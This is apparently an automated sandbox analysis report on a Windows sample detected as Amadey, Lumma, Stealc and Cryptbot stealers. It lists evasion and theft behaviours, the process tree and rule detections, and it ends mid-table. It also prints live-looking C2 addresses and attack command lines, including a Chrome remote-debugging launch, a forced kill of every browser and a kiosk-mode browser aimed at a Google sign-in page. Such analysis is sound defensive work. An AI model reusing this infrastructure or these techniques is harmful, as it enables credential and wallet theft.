Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561455
MD5:	04a06a52131dd6aa517aea8efd7eaaa6
SHA1:	d200a4bc798f2f5ec733954956f62a5eabe39d8c
SHA256:	ad1aaee3885a39d93cbafa2bacd8aff7bde905d1c93f555db284ff01f860f346
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Clipboard Hijacker

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found API chain indicative of sandbox detection

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 04A06A52131DD6AA517AEA8EFD7EAAA6)

skotes.exe (PID: 2012 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 04A06A52131DD6AA517AEA8EFD7EAAA6)

skotes.exe (PID: 6684 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 04A06A52131DD6AA517AEA8EFD7EAAA6)

skotes.exe (PID: 6044 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 04A06A52131DD6AA517AEA8EFD7EAAA6)

01806ad967.exe (PID: 5196 cmdline: "C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe" MD5: BE3A1A14663876AD1FAFA3F52FD20337)

chrome.exe (PID: 2688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6532 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2564,i,10375856777782342595,11101755798291290968,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

847b1b04ba.exe (PID: 2940 cmdline: "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe" MD5: 44EB876D74E66BC5879D4AC1B636EAF1)

7acf96002d.exe (PID: 2052 cmdline: "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe" MD5: AE317D18BC4CA2596E61445E70CBC6DB)

chrome.exe (PID: 6444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2136,i,3555858156391927217,5472966938695166006,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

WerFault.exe (PID: 6512 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1608 MD5: C31336C1EFC2CCB44B4326EA793040F2)

92f830ff9f.exe (PID: 5204 cmdline: "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe" MD5: 102B6FB97B941E26C4B49DE445AEDBD7)

taskkill.exe (PID: 4508 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1268 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6808 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 368 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4508 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7024 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

b70a2b69d1.exe (PID: 1708 cmdline: "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe" MD5: 24160B98357772CFF1F5E82F48BF18BE)

847b1b04ba.exe (PID: 2788 cmdline: "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe" MD5: 44EB876D74E66BC5879D4AC1B636EAF1)

firefox.exe (PID: 6220 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1976 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6808 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8933ed6b-7c20-48c8-85a4-b2c0216a6aa6} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2ae9bf6f110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3636 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4180 -prefMapHandle 4176 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2540b340-fb7a-4163-990f-769b33af6a3c} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2aeae42fa10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

7acf96002d.exe (PID: 5264 cmdline: "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe" MD5: AE317D18BC4CA2596E61445E70CBC6DB)

92f830ff9f.exe (PID: 1416 cmdline: "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe" MD5: 102B6FB97B941E26C4B49DE445AEDBD7)

taskkill.exe (PID: 3460 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7640 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7780 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

b70a2b69d1.exe (PID: 2812 cmdline: "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe" MD5: 24160B98357772CFF1F5E82F48BF18BE)

847b1b04ba.exe (PID: 2940 cmdline: "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe" MD5: 44EB876D74E66BC5879D4AC1B636EAF1)

7acf96002d.exe (PID: 7180 cmdline: "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe" MD5: AE317D18BC4CA2596E61445E70CBC6DB)

92f830ff9f.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe" MD5: 102B6FB97B941E26C4B49DE445AEDBD7)

taskkill.exe (PID: 7552 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7696 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7704 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7764 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7772 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["fvtekk5pn.topIN|fvtekk5pn.top", "vtekk5pnvtekk5pn.topn.top", "befvtekk5pn.top", "hesefvtekk5pn.top", "analforeverlovyu.top", "vtekk5pnvtekk5pn.top", "fvtekk5pn.top|fvtekk5pn.top", "home.fvtekk5pn.top", "ouldfvtekk5pn.top", "fvtekk5pn.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000003.2792453107.00000000053E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2214483848.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3286319983.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2153359889.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3137630171.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2112451523.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000002.3256054300.00000000014CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3024103776.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.2994386470.0000000001D0D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
00000003.00000003.2148877324.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3286685610.00000000012DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002B.00000003.3148075387.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2889718527.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3028269979.000000000181B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000028.00000003.3260782944.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.3226916618.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2189175428.00000000001D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3149464841.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2183185720.00000000001D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.3710209065.0000000007B84000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
00000028.00000003.3178273686.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2141916503.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2626514258.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000002.3237758064.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 01806ad967.exe PID: 5196	JoeSecurity_Clipboard_Hijacker_5	Yara detected Clipboard Hijacker	Joe Security
Process Memory Space: 01806ad967.exe PID: 5196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 01806ad967.exe PID: 5196	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Process Memory Space: 7acf96002d.exe PID: 2052	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7acf96002d.exe PID: 2052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7acf96002d.exe PID: 2052	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 92f830ff9f.exe PID: 5204	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 847b1b04ba.exe PID: 2788	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 847b1b04ba.exe PID: 2788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 847b1b04ba.exe PID: 2788	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.1d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.fb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.1d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6044, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\847b1b04ba.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe, ParentProcessId: 2052, ParentProcessName: 7acf96002d.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6444, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6044, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\847b1b04ba.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:36.034800+0100	2028371	3	Unknown Traffic	192.168.2.6	49794	104.21.33.116	443	TCP
2024-11-23T13:28:38.330243+0100	2028371	3	Unknown Traffic	192.168.2.6	49802	104.21.33.116	443	TCP
2024-11-23T13:28:52.140885+0100	2028371	3	Unknown Traffic	192.168.2.6	49838	104.21.33.116	443	TCP
2024-11-23T13:28:54.893651+0100	2028371	3	Unknown Traffic	192.168.2.6	49854	104.21.33.116	443	TCP
2024-11-23T13:28:57.931028+0100	2028371	3	Unknown Traffic	192.168.2.6	49866	104.21.33.116	443	TCP
2024-11-23T13:29:02.982220+0100	2028371	3	Unknown Traffic	192.168.2.6	49889	104.21.33.116	443	TCP
2024-11-23T13:29:05.952091+0100	2028371	3	Unknown Traffic	192.168.2.6	49907	104.21.33.116	443	TCP
2024-11-23T13:29:12.426873+0100	2028371	3	Unknown Traffic	192.168.2.6	49925	104.21.33.116	443	TCP
2024-11-23T13:29:19.328649+0100	2028371	3	Unknown Traffic	192.168.2.6	49943	104.21.33.116	443	TCP
2024-11-23T13:29:26.854625+0100	2028371	3	Unknown Traffic	192.168.2.6	49965	104.21.33.116	443	TCP
2024-11-23T13:29:29.370347+0100	2028371	3	Unknown Traffic	192.168.2.6	49970	104.21.33.116	443	TCP
2024-11-23T13:29:32.902084+0100	2028371	3	Unknown Traffic	192.168.2.6	49986	104.21.33.116	443	TCP
2024-11-23T13:29:36.697470+0100	2028371	3	Unknown Traffic	192.168.2.6	50002	104.21.33.116	443	TCP
2024-11-23T13:29:40.968772+0100	2028371	3	Unknown Traffic	192.168.2.6	50014	104.21.33.116	443	TCP
2024-11-23T13:29:45.068520+0100	2028371	3	Unknown Traffic	192.168.2.6	50026	104.21.33.116	443	TCP
2024-11-23T13:29:51.991565+0100	2028371	3	Unknown Traffic	192.168.2.6	50040	104.21.33.116	443	TCP
2024-11-23T13:30:00.557861+0100	2028371	3	Unknown Traffic	192.168.2.6	50089	104.21.33.116	443	TCP
2024-11-23T13:30:03.775891+0100	2028371	3	Unknown Traffic	192.168.2.6	50100	104.21.33.116	443	TCP
2024-11-23T13:32:56.565893+0100	2028371	3	Unknown Traffic	192.168.2.6	50201	20.42.65.89	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:36.959743+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49794	104.21.33.116	443	TCP
2024-11-23T13:28:53.290087+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49838	104.21.33.116	443	TCP
2024-11-23T13:28:55.938435+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49854	104.21.33.116	443	TCP
2024-11-23T13:29:30.213657+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49970	104.21.33.116	443	TCP
2024-11-23T13:29:33.630991+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49986	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:36.959743+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49794	104.21.33.116	443	TCP
2024-11-23T13:28:53.290087+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49838	104.21.33.116	443	TCP
2024-11-23T13:29:30.213657+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49970	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:55.938435+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49854	104.21.33.116	443	TCP
2024-11-23T13:29:33.630991+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49986	104.21.33.116	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:21.540286+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49755	185.215.113.43	80	TCP
2024-11-23T13:28:36.212343+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49793	185.215.113.43	80	TCP
2024-11-23T13:28:45.261290+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49819	185.215.113.43	80	TCP
2024-11-23T13:28:52.353034+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49837	185.215.113.43	80	TCP
2024-11-23T13:29:02.885233+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49885	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:29:19.875004+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49945	34.116.198.130	80	TCP
2024-11-23T13:29:24.228364+0100	2054350	1	A Network Trojan was detected	192.168.2.6	49958	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:46.351923+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49818	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T13:28:46.164045+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49818	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
